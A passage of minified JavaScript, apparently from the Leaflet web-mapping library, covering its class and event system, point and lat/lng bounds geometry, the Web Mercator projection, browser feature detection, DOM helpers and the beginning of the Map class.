"function"==typeof e && (e=e(n)), e})}var v=Array.isArray || function (t){return "[object Array]"===Object.prototype.toString.call(t)};function y(t, i){for (var e=0;e < t.length;e++)if (t[e]===i) return e;return -1}var x="data:image/gif;base64,R0lGODlhAQABAAD/ACwAAAAAAQABAAACADs=";function w(t){return window["webkit" + t] || window["moz" + t] || window["ms" + t]}var P=0;function b(t){var i=+new Date, e=Math.max(0, 16 - (i - P));return P=i + e, window.setTimeout(t, e)}var T=window.requestAnimationFrame || w("RequestAnimationFrame") || b, z=window.cancelAnimationFrame || w("CancelAnimationFrame") || w("CancelRequestAnimationFrame") || function (t){window.clearTimeout(t)};function M(t, i, e){if (!e || T !==b) return T.call(window, a(t, i));t.call(i)}function C(t){t && z.call(window, t)}var E=(Object.freeze || Object)({freeze:i, extend:h, create:s, bind:a, lastId:n, stamp:u, throttle:o, wrapNum:r, falseFn:l, formatNum:c, trim:_, splitWords:d, setOptions:p, getParamString:m, template:g, isArray:v, indexOf:y, emptyImageUrl:x, requestFn:T, cancelFn:z, requestAnimFrame:M, cancelAnimFrame:C});function S(){}S.extend=function (t){function i(){this.initialize && this.initialize.apply(this, arguments), this.callInitHooks()}var e=i.__super__=this.prototype, n=s(e);for (var o in (n.constructor=i).prototype=n, this) this.hasOwnProperty(o) && "prototype" !==o && "__super__" !==o && (i[o]=this[o]);return t.statics && (h(i, t.statics), delete t.statics), t.includes && (function (t){if ("undefined"==typeof L || !L || !L.Mixin) return;t=v(t) ? t :[t];for (var i=0;i < t.length;i++)t[i]===L.Mixin.Events && console.warn("Deprecated include of L.Mixin.Events:this property will be removed in future releases, please inherit from L.Evented instead.", (new Error).stack)}(t.includes), h.apply(null, [n].concat(t.includes)), delete t.includes), n.options && (t.options=h(s(n.options), t.options)), h(n, t), n._initHooks=[], n.callInitHooks=function (){if (!this._initHooksCalled){e.callInitHooks && e.callInitHooks.call(this), this._initHooksCalled=!0;for (var t=0, i=n._initHooks.length;t < i;t++)n._initHooks[t].call(this)}}, i}, S.include=function (t){return h(this.prototype, t), this}, S.mergeOptions=function (t){return h(this.prototype.options, t), this}, S.addInitHook=function (t){var i=Array.prototype.slice.call(arguments, 1), e="function"==typeof t ? t :function (){this[t].apply(this, i)};return this.prototype._initHooks=this.prototype._initHooks || [], this.prototype._initHooks.push(e), this};var Z={on:function (t, i, e){if ("object"==typeof t) for (var n in t) this._on(n, t[n], i);else for (var o=0, s=(t=d(t)).length;o < s;o++)this._on(t[o], i, e);return this}, off:function (t, i, e){if (t) if ("object"==typeof t) for (var n in t) this._off(n, t[n], i);else for (var o=0, s=(t=d(t)).length;o < s;o++)this._off(t[o], i, e);else delete this._events;return this}, _on:function (t, i, e){this._events=this._events ||{};var n=this._events[t];n || (n=[], this._events[t]=n), e===this && (e=void 0);for (var o={fn:i, ctx:e}, s=n, r=0, a=s.length;r < a;r++)if (s[r].fn===i && s[r].ctx===e) return;s.push(o)}, _off:function (t, i, e){var n, o, s;if (this._events && (n=this._events[t])) if (i){if (e===this && (e=void 0), n) for (o=0, s=n.length;o < s;o++){var r=n[o];if (r.ctx===e && r.fn===i) return r.fn=l, this._firingCount && (this._events[t]=n=n.slice()), void n.splice(o, 1)}}else{for (o=0, s=n.length;o < s;o++)n[o].fn=l;delete this._events[t]}}, fire:function (t, i, e){if (!this.listens(t, e)) return this;var n=h({}, i,{type:t, target:this, sourceTarget:i && i.sourceTarget || this});if (this._events){var o=this._events[t];if (o){this._firingCount=this._firingCount + 1 || 1;for (var s=0, r=o.length;s < r;s++){var a=o[s];a.fn.call(a.ctx || this, n)}this._firingCount--}}return e && this._propagateEvent(n), this}, listens:function (t, i){var e=this._events && this._events[t];if (e && e.length) return !0;if (i) for (var n in this._eventParents) if (this._eventParents[n].listens(t, i)) return !0;return !1}, once:function (t, i, e){if ("object"==typeof t){for (var n in t) this.once(n, t[n], i);return this}var o=a(function (){this.off(t, i, e).off(t, o, e)}, this);return this.on(t, i, e).on(t, o, e)}, addEventParent:function (t){return this._eventParents=this._eventParents ||{}, this._eventParents[u(t)]=t, this}, removeEventParent:function (t){return this._eventParents && delete this._eventParents[u(t)], this}, _propagateEvent:function (t){for (var i in this._eventParents) this._eventParents[i].fire(t.type, h({layer:t.target, propagatedFrom:t.target}, t), !0)}};Z.addEventListener=Z.on, Z.removeEventListener=Z.clearAllEventListeners=Z.off, Z.addOneTimeEventListener=Z.once, Z.fireEvent=Z.fire, Z.hasEventListeners=Z.listens;var k=S.extend(Z);function B(t, i, e){this.x=e ? Math.round(t) :t, this.y=e ? Math.round(i) :i}var A=Math.trunc || function (t){return 0 < t ? Math.floor(t) :Math.ceil(t)};function I(t, i, e){return t instanceof B ? t :v(t) ? new B(t[0], t[1]) :null==t ? t :"object"==typeof t && "x" in t && "y" in t ? new B(t.x, t.y) :new B(t, i, e)}function O(t, i){if (t) for (var e=i ? [t, i] :t, n=0, o=e.length;n < o;n++)this.extend(e[n])}function R(t, i){return !t || t instanceof O ? t :new O(t, i)}function N(t, i){if (t) for (var e=i ? [t, i] :t, n=0, o=e.length;n < o;n++)this.extend(e[n])}function D(t, i){return t instanceof N ? t :new N(t, i)}function j(t, i, e){if (isNaN(t) || isNaN(i)) throw new Error("Invalid LatLng object:(" + t + ", " + i + ")");this.lat=+t, this.lng=+i, void 0 !==e && (this.alt=+e)}function W(t, i, e){return t instanceof j ? t :v(t) && "object" !=typeof t[0] ? 3===t.length ? new j(t[0], t[1], t[2]) :2===t.length ? new j(t[0], t[1]) :null :null==t ? t :"object"==typeof t && "lat" in t ? new j(t.lat, "lng" in t ? t.lng :t.lon, t.alt) :void 0===i ? null :new j(t, i, e)}B.prototype={clone:function (){return new B(this.x, this.y)}, add:function (t){return this.clone()._add(I(t))}, _add:function (t){return this.x +=t.x, this.y +=t.y, this}, subtract:function (t){return this.clone()._subtract(I(t))}, _subtract:function (t){return this.x -=t.x, this.y -=t.y, this}, divideBy:function (t){return this.clone()._divideBy(t)}, _divideBy:function (t){return this.x /=t, this.y /=t, this}, multiplyBy:function (t){return this.clone()._multiplyBy(t)}, _multiplyBy:function (t){return this.x *=t, this.y *=t, this}, scaleBy:function (t){return new B(this.x * t.x, this.y * t.y)}, unscaleBy:function (t){return new B(this.x / t.x, this.y / t.y)}, round:function (){return this.clone()._round()}, _round:function (){return this.x=Math.round(this.x), this.y=Math.round(this.y), this}, floor:function (){return this.clone()._floor()}, _floor:function (){return this.x=Math.floor(this.x), this.y=Math.floor(this.y), this}, ceil:function (){return this.clone()._ceil()}, _ceil:function (){return this.x=Math.ceil(this.x), this.y=Math.ceil(this.y), this}, trunc:function (){return this.clone()._trunc()}, _trunc:function (){return this.x=A(this.x), this.y=A(this.y), this}, distanceTo:function (t){var i=(t=I(t)).x - this.x, e=t.y - this.y;return Math.sqrt(i * i + e * e)}, equals:function (t){return (t=I(t)).x===this.x && t.y===this.y}, contains:function (t){return t=I(t), Math.abs(t.x) <=Math.abs(this.x) && Math.abs(t.y) <=Math.abs(this.y)}, toString:function (){return "Point(" + c(this.x) + ", " + c(this.y) + ")"}}, O.prototype={extend:function (t){return t=I(t), this.min || this.max ? (this.min.x=Math.min(t.x, this.min.x), this.max.x=Math.max(t.x, this.max.x), this.min.y=Math.min(t.y, this.min.y), this.max.y=Math.max(t.y, this.max.y)) :(this.min=t.clone(), this.max=t.clone()), this}, getCenter:function (t){return new B((this.min.x + this.max.x) / 2, (this.min.y + this.max.y) / 2, t)}, getBottomLeft:function (){return new B(this.min.x, this.max.y)}, getTopRight:function (){return new B(this.max.x, this.min.y)}, getTopLeft:function (){return this.min}, getBottomRight:function (){return this.max}, getSize:function (){return this.max.subtract(this.min)}, contains:function (t){var i, e;return (t="number"==typeof t[0] || t instanceof B ? I(t) :R(t)) instanceof O ? (i=t.min, e=t.max) :i=e=t, i.x >=this.min.x && e.x <=this.max.x && i.y >=this.min.y && e.y <=this.max.y}, intersects:function (t){t=R(t);var i=this.min, e=this.max, n=t.min, o=t.max, s=o.x >=i.x && n.x <=e.x, r=o.y >=i.y && n.y <=e.y;return s && r}, overlaps:function (t){t=R(t);var i=this.min, e=this.max, n=t.min, o=t.max, s=o.x > i.x && n.x < e.x, r=o.y > i.y && n.y < e.y;return s && r}, isValid:function (){return !(!this.min || !this.max)}}, N.prototype={extend:function (t){var i, e, n=this._southWest, o=this._northEast;if (t instanceof j) e=i=t;else{if (!(t instanceof N)) return t ? this.extend(W(t) || D(t)) :this;if (i=t._southWest, e=t._northEast, !i || !e) return this}return n || o ? (n.lat=Math.min(i.lat, n.lat), n.lng=Math.min(i.lng, n.lng), o.lat=Math.max(e.lat, o.lat), o.lng=Math.max(e.lng, o.lng)) :(this._southWest=new j(i.lat, i.lng), this._northEast=new j(e.lat, e.lng)), this}, pad:function (t){var i=this._southWest, e=this._northEast, n=Math.abs(i.lat - e.lat) * t, o=Math.abs(i.lng - e.lng) * t;return new N(new j(i.lat - n, i.lng - o), new j(e.lat + n, e.lng + o))}, getCenter:function (){return new j((this._southWest.lat + this._northEast.lat) / 2, (this._southWest.lng + this._northEast.lng) / 2)}, getSouthWest:function (){return this._southWest}, getNorthEast:function (){return this._northEast}, getNorthWest:function (){return new j(this.getNorth(), this.getWest())}, getSouthEast:function (){return new j(this.getSouth(), this.getEast())}, getWest:function (){return this._southWest.lng}, getSouth:function (){return this._southWest.lat}, getEast:function (){return this._northEast.lng}, getNorth:function (){return this._northEast.lat}, contains:function (t){t="number"==typeof t[0] || t instanceof j || "lat" in t ? W(t) :D(t);var i, e, n=this._southWest, o=this._northEast;return t instanceof N ? (i=t.getSouthWest(), e=t.getNorthEast()) :i=e=t, i.lat >=n.lat && e.lat <=o.lat && i.lng >=n.lng && e.lng <=o.lng}, intersects:function (t){t=D(t);var i=this._southWest, e=this._northEast, n=t.getSouthWest(), o=t.getNorthEast(), s=o.lat >=i.lat && n.lat <=e.lat, r=o.lng >=i.lng && n.lng <=e.lng;return s && r}, overlaps:function (t){t=D(t);var i=this._southWest, e=this._northEast, n=t.getSouthWest(), o=t.getNorthEast(), s=o.lat > i.lat && n.lat < e.lat, r=o.lng > i.lng && n.lng < e.lng;return s && r}, toBBoxString:function (){return [this.getWest(), this.getSouth(), this.getEast(), this.getNorth()].join(",")}, equals:function (t, i){return !!t && (t=D(t), this._southWest.equals(t.getSouthWest(), i) && this._northEast.equals(t.getNorthEast(), i))}, isValid:function (){return !(!this._southWest || !this._northEast)}};var H, F={latLngToPoint:function (t, i){var e=this.projection.project(t), n=this.scale(i);return this.transformation._transform(e, n)}, pointToLatLng:function (t, i){var e=this.scale(i), n=this.transformation.untransform(t, e);return this.projection.unproject(n)}, project:function (t){return this.projection.project(t)}, unproject:function (t){return this.projection.unproject(t)}, scale:function (t){return 256 * Math.pow(2, t)}, zoom:function (t){return Math.log(t / 256) / Math.LN2}, getProjectedBounds:function (t){if (this.infinite) return null;var i=this.projection.bounds, e=this.scale(t);return new O(this.transformation.transform(i.min, e), this.transformation.transform(i.max, e))}, infinite:!(j.prototype={equals:function (t, i){return !!t && (t=W(t), Math.max(Math.abs(this.lat - t.lat), Math.abs(this.lng - t.lng)) <=(void 0===i ? 1e-9 :i))}, toString:function (t){return "LatLng(" + c(this.lat, t) + ", " + c(this.lng, t) + ")"}, distanceTo:function (t){return U.distance(this, W(t))}, wrap:function (){return U.wrapLatLng(this)}, toBounds:function (t){var i=180 * t / 40075017, e=i / Math.cos(Math.PI / 180 * this.lat);return D([this.lat - i, this.lng - e], [this.lat + i, this.lng + e])}, clone:function (){return new j(this.lat, this.lng, this.alt)}}), wrapLatLng:function (t){var i=this.wrapLng ? r(t.lng, this.wrapLng, !0) :t.lng;return new j(this.wrapLat ? r(t.lat, this.wrapLat, !0) :t.lat, i, t.alt)}, wrapLatLngBounds:function (t){var i=t.getCenter(), e=this.wrapLatLng(i), n=i.lat - e.lat, o=i.lng - e.lng;if (0==n && 0==o) return t;var s=t.getSouthWest(), r=t.getNorthEast();return new N(new j(s.lat - n, s.lng - o), new j(r.lat - n, r.lng - o))}}, U=h({}, F,{wrapLng:[-180, 180], R:6371e3, distance:function (t, i){var e=Math.PI / 180, n=t.lat * e, o=i.lat * e, s=Math.sin((i.lat - t.lat) * e / 2), r=Math.sin((i.lng - t.lng) * e / 2), a=s * s + Math.cos(n) * Math.cos(o) * r * r, h=2 * Math.atan2(Math.sqrt(a), Math.sqrt(1 - a));return this.R * h}}), V=6378137, q={R:V, MAX_LATITUDE:85.0511287798, project:function (t){var i=Math.PI / 180, e=this.MAX_LATITUDE, n=Math.max(Math.min(e, t.lat), -e), o=Math.sin(n * i);return new B(this.R * t.lng * i, this.R * Math.log((1 + o) / (1 - o)) / 2)}, unproject:function (t){var i=180 / Math.PI;return new j((2 * Math.atan(Math.exp(t.y / this.R)) - Math.PI / 2) * i, t.x * i / this.R)}, bounds:(H=V * Math.PI, new O([-H, -H], [H, H]))};function G(t, i, e, n){if (v(t)) return this._a=t[0], this._b=t[1], this._c=t[2], void (this._d=t[3]);this._a=t, this._b=i, this._c=e, this._d=n}function K(t, i, e, n){return new G(t, i, e, n)}G.prototype={transform:function (t, i){return this._transform(t.clone(), i)}, _transform:function (t, i){return i=i || 1, t.x=i * (this._a * t.x + this._b), t.y=i * (this._c * t.y + this._d), t}, untransform:function (t, i){return i=i || 1, new B((t.x / i - this._b) / this._a, (t.y / i - this._d) / this._c)}};var Y, X=h({}, U,{code:"EPSG:3857", projection:q, transformation:(Y=.5 / (Math.PI * q.R), K(Y, .5, -Y, .5))}), J=h({}, X,{code:"EPSG:900913"});function $(t){return document.createElementNS("http://www.w3.org/2000/svg", t)}function Q(t, i){var e, n, o, s, r, a, h="";for (e=0, o=t.length;e < o;e++){for (n=0, s=(r=t[e]).length;n < s;n++)h +=(n ? "L" :"M") + (a=r[n]).x + " " + a.y;h +=i ? Zt ? "z" :"x" :""}return h || "M0 0"}var tt=document.documentElement.style, it="ActiveXObject" in window, et=it && !document.addEventListener, nt="msLaunchUri" in navigator && !("documentMode" in document), ot=Bt("webkit"), st=Bt("android"), rt=Bt("android 2") || Bt("android 3"), at=parseInt(/WebKit\/([0-9]+)|$/.exec(navigator.userAgent)[1], 10), ht=st && Bt("Google") && at < 537 && !("AudioNode" in window), ut=!!window.opera, lt=Bt("chrome"), ct=Bt("gecko") && !ot && !ut && !it, _t=!lt && Bt("safari"), dt=Bt("phantom"), pt="OTransition" in tt, mt=0===navigator.platform.indexOf("Win"), ft=it && "transition" in tt, gt="WebKitCSSMatrix" in window && "m11" in new window.WebKitCSSMatrix && !rt, vt="MozPerspective" in tt, yt=!window.L_DISABLE_3D && (ft || gt || vt) && !pt && !dt, xt="undefined" !=typeof orientation || Bt("mobile"), wt=xt && ot, Pt=xt && gt, Lt=!window.PointerEvent && window.MSPointerEvent, bt=!(ot || !window.PointerEvent && !Lt), Tt=!window.L_NO_TOUCH && (bt || "ontouchstart" in window || window.DocumentTouch && document instanceof window.DocumentTouch), zt=xt && ut, Mt=xt && ct, Ct=1 < (window.devicePixelRatio || window.screen.deviceXDPI / window.screen.logicalXDPI), Et=function (){var t=!1;try{var i=Object.defineProperty({}, "passive",{get:function (){t=!0}});window.addEventListener("testPassiveEventSupport", l, i), window.removeEventListener("testPassiveEventSupport", l, i)}catch (t){}return t}, St=!!document.createElement("canvas").getContext, Zt=!(!document.createElementNS || !$("svg").createSVGRect), kt=!Zt && function (){try{var t=document.createElement("div");t.innerHTML='<v:shape adj="1"/>';var i=t.firstChild;return i.style.behavior="url(#default#VML)", i && "object"==typeof i.adj}catch (t){return !1}}();function Bt(t){return 0 <=navigator.userAgent.toLowerCase().indexOf(t)}var At=(Object.freeze || Object)({ie:it, ielt9:et, edge:nt, webkit:ot, android:st, android23:rt, androidStock:ht, opera:ut, chrome:lt, gecko:ct, safari:_t, phantom:dt, opera12:pt, win:mt, ie3d:ft, webkit3d:gt, gecko3d:vt, any3d:yt, mobile:xt, mobileWebkit:wt, mobileWebkit3d:Pt, msPointer:Lt, pointer:bt, touch:Tt, mobileOpera:zt, mobileGecko:Mt, retina:Ct, passiveEvents:Et, canvas:St, svg:Zt, vml:kt}), It=Lt ? "MSPointerDown" :"pointerdown", Ot=Lt ? "MSPointerMove" :"pointermove", Rt=Lt ? "MSPointerUp" :"pointerup", Nt=Lt ? "MSPointerCancel" :"pointercancel", Dt=["INPUT", "SELECT", "OPTION"], jt={}, Wt=!1, Ht=0;function Ft(t, i, e, n){return "touchstart"===i ? function (t, i, e){var n=a(function (t){if ("mouse" !==t.pointerType && t.MSPOINTER_TYPE_MOUSE && t.pointerType !==t.MSPOINTER_TYPE_MOUSE){if (!(Dt.indexOf(t.target.tagName) < 0)) return;ji(t)}Gt(t, i)});t["_leaflet_touchstart" + e]=n, t.addEventListener(It, n, !1), Wt || (document.documentElement.addEventListener(It, Ut, !0), document.documentElement.addEventListener(Ot, Vt, !0), document.documentElement.addEventListener(Rt, qt, !0), document.documentElement.addEventListener(Nt, qt, !0), Wt=!0)}(t, e, n) :"touchmove"===i ? function (t, i, e){function n(t){(t.pointerType !==t.MSPOINTER_TYPE_MOUSE && "mouse" !==t.pointerType || 0 !==t.buttons) && Gt(t, i)}t["_leaflet_touchmove" + e]=n, t.addEventListener(Ot, n, !1)}(t, e, n) :"touchend"===i && function (t, i, e){function n(t){Gt(t, i)}t["_leaflet_touchend" + e]=n, t.addEventListener(Rt, n, !1), t.addEventListener(Nt, n, !1)}(t, e, n), this}function Ut(t){jt[t.pointerId]=t, Ht++}function Vt(t){jt[t.pointerId] && (jt[t.pointerId]=t)}function qt(t){delete jt[t.pointerId], Ht--}function Gt(t, i){for (var e in t.touches=[], jt) t.touches.push(jt[e]);t.changedTouches=[t], i(t)}var Kt=Lt ? "MSPointerDown" :bt ? "pointerdown" :"touchstart", Yt=Lt ? "MSPointerUp" :bt ? "pointerup" :"touchend", Xt="_leaflet_";function Jt(t, o, i){var s, r, a=!1;function e(t){var i;if (bt){if (!nt || "mouse"===t.pointerType) return;i=Ht}else i=t.touches.length;if (!(1 < i)){var e=Date.now(), n=e - (s || e);r=t.touches ? t.touches[0] :t, a=0 < n && n <=250, s=e}}function n(t){if (a && !r.cancelBubble){if (bt){if (!nt || "mouse"===t.pointerType) return;var i, e, n={};for (e in r) i=r[e], n[e]=i && i.bind ? i.bind(r) :i;r=n}r.type="dblclick", r.button=0, o(r), s=null}}return t[Xt + Kt + i]=e, t[Xt + Yt + i]=n, t[Xt + "dblclick" + i]=o, t.addEventListener(Kt, e, !!Et &&{passive:!1}), t.addEventListener(Yt, n, !!Et &&{passive:!1}), t.addEventListener("dblclick", o, !1), this}function $t(t, i){var e=t[Xt + Kt + i], n=t[Xt + Yt + i], o=t[Xt + "dblclick" + i];return t.removeEventListener(Kt, e, !!Et &&{passive:!1}), t.removeEventListener(Yt, n, !!Et &&{passive:!1}), nt || t.removeEventListener("dblclick", o, !1), this}var Qt, ti, ii, ei, ni, oi=xi(["transform", "webkitTransform", "OTransform", "MozTransform", "msTransform"]), si=xi(["webkitTransition", "transition", "OTransition", "MozTransition", "msTransition"]), ri="webkitTransition"===si || "OTransition"===si ? si + "End" :"transitionend";function ai(t){return "string"==typeof t ? document.getElementById(t) :t}function hi(t, i){var e=t.style[i] || t.currentStyle && t.currentStyle[i];if ((!e || "auto"===e) && document.defaultView){var n=document.defaultView.getComputedStyle(t, null);e=n ? n[i] :null}return "auto"===e ? null :e}function ui(t, i, e){var n=document.createElement(t);return n.className=i || "", e && e.appendChild(n), n}function li(t){var i=t.parentNode;i && i.removeChild(t)}function ci(t){for (;t.firstChild;)t.removeChild(t.firstChild)}function _i(t){var i=t.parentNode;i && i.lastChild !==t && i.appendChild(t)}function di(t){var i=t.parentNode;i && i.firstChild !==t && i.insertBefore(t, i.firstChild)}function pi(t, i){if (void 0 !==t.classList) return t.classList.contains(i);var e=vi(t);return 0 < e.length && new RegExp("(^|\\s)" + i + "(\\s|$)").test(e)}function mi(t, i){if (void 0 !==t.classList) for (var e=d(i), n=0, o=e.length;n < o;n++)t.classList.add(e[n]);else if (!pi(t, i)){var s=vi(t);gi(t, (s ? s + " " :"") + i)}}function fi(t, i){void 0 !==t.classList ? t.classList.remove(i) :gi(t, _((" " + vi(t) + " ").replace(" " + i + " ", " ")))}function gi(t, i){void 0===t.className.baseVal ? t.className=i :t.className.baseVal=i}function vi(t){return t.correspondingElement && (t=t.correspondingElement), void 0===t.className.baseVal ? t.className :t.className.baseVal}function yi(t, i){"opacity" in t.style ? t.style.opacity=i :"filter" in t.style && function (t, i){var e=!1, n="DXImageTransform.Microsoft.Alpha";try{e=t.filters.item(n)}catch (t){if (1===i) return}i=Math.round(100 * i), e ? (e.Enabled=100 !==i, e.Opacity=i) :t.style.filter +=" progid:" + n + "(opacity=" + i + ")"}(t, i)}function xi(t){for (var i=document.documentElement.style, e=0;e < t.length;e++)if (t[e] in i) return t[e];return !1}function wi(t, i, e){var n=i || new B(0, 0);t.style[oi]=(ft ? "translate(" + n.x + "px," + n.y + "px)" :"translate3d(" + n.x + "px," + n.y + "px,0)") + (e ? " scale(" + e + ")" :"")}function Pi(t, i){t._leaflet_pos=i, yt ? wi(t, i) :(t.style.left=i.x + "px", t.style.top=i.y + "px")}function Li(t){return t._leaflet_pos || new B(0, 0)}if ("onselectstart" in document) Qt=function (){ki(window, "selectstart", ji)}, ti=function (){Ai(window, "selectstart", ji)};else{var bi=xi(["userSelect", "WebkitUserSelect", "OUserSelect", "MozUserSelect", "msUserSelect"]);Qt=function (){if (bi){var t=document.documentElement.style;ii=t[bi], t[bi]="none"}}, ti=function (){bi && (document.documentElement.style[bi]=ii, ii=void 0)}}function Ti(){ki(window, "dragstart", ji)}function zi(){Ai(window, "dragstart", ji)}function Mi(t){for (;-1===t.tabIndex;)t=t.parentNode;t.style && (Ci(), ni=(ei=t).style.outline, t.style.outline="none", ki(window, "keydown", Ci))}function Ci(){ei && (ei.style.outline=ni, ni=ei=void 0, Ai(window, "keydown", Ci))}function Ei(t){for (;!((t=t.parentNode).offsetWidth && t.offsetHeight || t===document.body););return t}function Si(t){var i=t.getBoundingClientRect();return{x:i.width / t.offsetWidth || 1, y:i.height / t.offsetHeight || 1, boundingClientRect:i}}var Zi=(Object.freeze || Object)({TRANSFORM:oi, TRANSITION:si, TRANSITION_END:ri, get:ai, getStyle:hi, create:ui, remove:li, empty:ci, toFront:_i, toBack:di, hasClass:pi, addClass:mi, removeClass:fi, setClass:gi, getClass:vi, setOpacity:yi, testProp:xi, setTransform:wi, setPosition:Pi, getPosition:Li, disableTextSelection:Qt, enableTextSelection:ti, disableImageDrag:Ti, enableImageDrag:zi, preventOutline:Mi, restoreOutline:Ci, getSizedParentNode:Ei, getScale:Si});function ki(t, i, e, n){if ("object"==typeof i) for (var o in i) Ii(t, o, i[o], e);else for (var s=0, r=(i=d(i)).length;s < r;s++)Ii(t, i[s], e, n);return this}var Bi="_leaflet_events";function Ai(t, i, e, n){if ("object"==typeof i) for (var o in i) Oi(t, o, i[o], e);else if (i) for (var s=0, r=(i=d(i)).length;s < r;s++)Oi(t, i[s], e, n);else{for (var a in t[Bi]) Oi(t, a, t[Bi][a]);delete t[Bi]}return this}function Ii(i, t, e, n){var o=t + u(e) + (n ? "_" + u(n) :"");if (i[Bi] && i[Bi][o]) return this;var s=function (t){return e.call(n || i, t || window.event)}, r=s;bt && 0===t.indexOf("touch") ? Ft(i, t, s, o) :!Tt || "dblclick" !==t || bt && lt ? "addEventListener" in i ? "mousewheel"===t ? i.addEventListener("onwheel" in i ? "wheel" :"mousewheel", s, !!Et &&{passive:!1}) :"mouseenter"===t || "mouseleave"===t ? (s=function (t){t=t || window.event, Yi(i, t) && r(t)}, i.addEventListener("mouseenter"===t ? "mouseover" :"mouseout", s, !1)) :("click"===t && st && (s=function (t){!function (t, i){var e=t.timeStamp || t.originalEvent && t.originalEvent.timeStamp, n=Vi && e - Vi;if (n && 100 < n && n < 500 || t.target._simulatedClick && !t._simulated) return Wi(t);Vi=e, i(t)}(t, r)}), i.addEventListener(t, s, !1)) :"attachEvent" in i && i.attachEvent("on" + t, s) :Jt(i, s, o), i[Bi]=i[Bi] ||{}, i[Bi][o]=s}function Oi(t, i, e, n){var o=i + u(e) + (n ? "_" + u(n) :""), s=t[Bi] && t[Bi][o];if (!s) return this;bt && 0===i.indexOf("touch") ? function (t, i, e){var n=t["_leaflet_" + i + e];"touchstart"===i ? t.removeEventListener(It, n, !1) :"touchmove"===i ? t.removeEventListener(Ot, n, !1) :"touchend"===i && (t.removeEventListener(Rt, n, !1), t.removeEventListener(Nt, n, !1))}(t, i, o) :!Tt || "dblclick" !==i || bt && lt ? "removeEventListener" in t ? "mousewheel"===i ? t.removeEventListener("onwheel" in t ? "wheel" :"mousewheel", s, !!Et &&{passive:!1}) :t.removeEventListener("mouseenter"===i ? "mouseover" :"mouseleave"===i ? "mouseout" :i, s, !1) :"detachEvent" in t && t.detachEvent("on" + i, s) :$t(t, o), t[Bi][o]=null}function Ri(t){return t.stopPropagation ? t.stopPropagation() :t.originalEvent ? t.originalEvent._stopped=!0 :t.cancelBubble=!0, Ki(t), this}function Ni(t){return Ii(t, "mousewheel", Ri), this}function Di(t){return ki(t, "mousedown touchstart dblclick", Ri), Ii(t, "click", Gi), this}function ji(t){return t.preventDefault ? t.preventDefault() :t.returnValue=!1, this}function Wi(t){return ji(t), Ri(t), this}function Hi(t, i){if (!i) return new B(t.clientX, t.clientY);var e=Si(i), n=e.boundingClientRect;return new B((t.clientX - n.left) / e.x - i.clientLeft, (t.clientY - n.top) / e.y - i.clientTop)}var Fi=mt && lt ? 2 * window.devicePixelRatio :ct ? window.devicePixelRatio :1;function Ui(t){return nt ? t.wheelDeltaY / 2 :t.deltaY && 0===t.deltaMode ? -t.deltaY / Fi :t.deltaY && 1===t.deltaMode ? 20 * -t.deltaY :t.deltaY && 2===t.deltaMode ? 60 * -t.deltaY :t.deltaX || t.deltaZ ? 0 :t.wheelDelta ? (t.wheelDeltaY || t.wheelDelta) / 2 :t.detail && Math.abs(t.detail) < 32765 ? 20 * -t.detail :t.detail ? t.detail / -32765 * 60 :0}var Vi, qi={};function Gi(t){qi[t.type]=!0}function Ki(t){var i=qi[t.type];return qi[t.type]=!1, i}function Yi(t, i){var e=i.relatedTarget;if (!e) return !0;try{for (;e && e !==t;)e=e.parentNode}catch (t){return !1}return e !==t}var Xi=(Object.freeze || Object)({on:ki, off:Ai, stopPropagation:Ri, disableScrollPropagation:Ni, disableClickPropagation:Di, preventDefault:ji, stop:Wi, getMousePosition:Hi, getWheelDelta:Ui, fakeStop:Gi, skipped:Ki, isExternalTarget:Yi, addListener:ki, removeListener:Ai}), Ji=k.extend({run:function (t, i, e, n){this.stop(), this._el=t, this._inProgress=!0, this._duration=e || .25, this._easeOutPower=1 / Math.max(n || .5, .2), this._startPos=Li(t), this._offset=i.subtract(this._startPos), this._startTime=+new Date, this.fire("start"), this._animate()}, stop:function (){this._inProgress && (this._step(!0), this._complete())}, _animate:function (){this._animId=M(this._animate, this), this._step()}, _step:function (t){var i=+new Date - this._startTime, e=1e3 * this._duration;i < e ? this._runFrame(this._easeOut(i / e), t) :(this._runFrame(1), this._complete())}, _runFrame:function (t, i){var e=this._startPos.add(this._offset.multiplyBy(t));i && e._round(), Pi(this._el, e), this.fire("step")}, _complete:function (){C(this._animId), this._inProgress=!1, this.fire("end")}, _easeOut:function (t){return 1 - Math.pow(1 - t, this._easeOutPower)}}), $i=k.extend({options:{crs:X, center:void 0, zoom:void 0, minZoom:void 0, maxZoom:void 0, layers:[], maxBounds:void 0, renderer:void 0, zoomAnimation:!0, zoomAnimationThreshold:4, fadeAnimation:!0, markerZoomAnimation:!0, transform3DLimit:8388608, zoomSnap:1, zoomDelta:1, trackResize:!0}, initialize:function (t, i){i=p(this, i), this._handlers=[], this._layers={}, this._zoomBoundLayers={}, this._sizeChanged=!0, this._initContainer(t), this._initLayout(), this._onResize=a(this._onResize, this), this._initEvents(), i.maxBounds && this.setMaxBounds(i.maxBounds), void 0 !==i.zoom && (this._zoom=this._limitZoom(i.zoom)), i.center && void 0 !==i.zoom && this.setView(W(i.center), i.zoom,{reset:!0}), this.callInitHooks(), this._zoomAnimated=si && yt && !zt && this.options.zoomAnimation, this._zoomAnimated && (this._createAnimProxy(), ki(this._proxy, ri, this._catchTransitionEnd, this)), this._addLayers(this.options.layers)}, setView:function (t, i, e){if ((i=void 0===i ? this._zoom :this._limitZoom(i), t=this._limitCenter(W(t), i, this.options.maxBounds), e=e ||{}, this._stop(), this._loaded && !e.reset && !0 !==e) && (void 0 !==e.animate && (e.zoom=h({animate:e.animate}, e.zoom), e.pan=h({animate:e.animate, duration:e.duration}, e.pan)), this._zoom !==i ? this._tryAnimatedZoom && this._tryAnimatedZoom(t, i, e.zoom) :this._tryAnimatedPan(t, e.pan))) return clearTimeout(this._sizeTimer), this;return this._resetView(t, i), this}, setZoom:function (t, i){return this._loaded ? this.setView(this.getCenter(), t,{zoom:i}) :(this._zoom=t, this)}, zoomIn:function (t, i){return t=t || (yt ? this.options.zoomDelta :1), this.setZoom(this._zoom + t, i)}, zoomOut:function (t, i){return t=t || (yt ? this.options.zoomDelta :1), this.setZoom(this._zoom - t, i)}, setZoomAround:function (t, i, e){var n=this.getZoomScale(i), o=this.getSize().divideBy(2), s=(t instanceof B ? t :this.latLngToContainerPoint(t)).subtract(o).multiplyBy(1 - 1 / n), r=this.containerPointToLatLng(o.add(s));return this.setView(r, i,{zoom:e})}, _getBoundsCenterZoom:function (t, i){i=i ||{}, t=t.getBounds ? t.getBounds() :D(t);var e=I(i.paddingTopLeft || i.padding || [0, 0]), n=I(i.paddingBottomRight || i.padding || [0, 0]), 